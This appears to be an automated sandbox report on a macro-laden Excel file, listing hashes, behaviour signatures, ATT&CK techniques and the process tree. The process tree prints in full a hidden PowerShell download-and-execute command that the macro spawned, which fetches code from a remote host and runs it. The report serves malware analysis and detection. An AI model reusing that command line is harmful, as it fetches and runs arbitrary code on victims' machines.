b4201061a4b9961d16e83c58207ac5087e2e46187c6dff64250731d45bb0b90c

Analysis

max time kernel
37s
max time network
58s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
30/10/2022, 16:19

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General

Target

book-test.xlsm
Size

13KB
MD5

9ea38cbd4b972be01563192fb495614f
SHA1

98edf0787a561c176a2a303064207ddd82b2965b
SHA256

b4201061a4b9961d16e83c58207ac5087e2e46187c6dff64250731d45bb0b90c
SHA512

463830b10d512e4fe0909c51e55005e21e660493a80cb87aa43e22cd30c08b2d3eb93743813e0d8d67b7d57f7036b3cf3de563ea8b64e30ef3cd8ff1723bc5dc
SSDEEP

192:EtJWseqxGvThVkikaFUlbVvevUqzZSVtg/XKfS34Obx/eqd/611cqGGFuxTDa9:EtJ7yTkqUlM9z+fekqd/oNSG9

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.233.129:80/sample-image.jpeg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4200	4956	powershell.exe	83

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4792	3320	WerFault.exe	20

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4956	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4200	powershell.exe
4200	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4200	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE
4956	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4956 wrote to memory of 4200	4956	EXCEL.EXE	89
PID 4956 wrote to memory of 4200	4956	EXCEL.EXE	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\book-test.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c "$code=(New-Object System.Net.Webclient).DownloadString('http://192.168.233.129:80/sample-image.jpeg'); iex 'powershell -E $code'"
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4200

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 460 -p 3320 -ip 3320
1⤵
PID:4324

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3320 -s 488
1⤵
- Program crash
PID:4792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4200-140-0x000001D7CE7E0000-0x000001D7CE802000-memory.dmp

Filesize
136KB

Download
memory/4200-141-0x00007FFC8FBD0000-0x00007FFC90691000-memory.dmp

Filesize
10.8MB

Download
memory/4956-132-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

Filesize
64KB

Download
memory/4956-133-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

Filesize
64KB

Download
memory/4956-134-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

Filesize
64KB

Download
memory/4956-136-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

Filesize
64KB

Download
memory/4956-135-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

Filesize
64KB

Download
memory/4956-137-0x00007FFC773B0000-0x00007FFC773C0000-memory.dmp

Filesize
64KB

Download
memory/4956-138-0x00007FFC773B0000-0x00007FFC773C0000-memory.dmp

Filesize
64KB

Download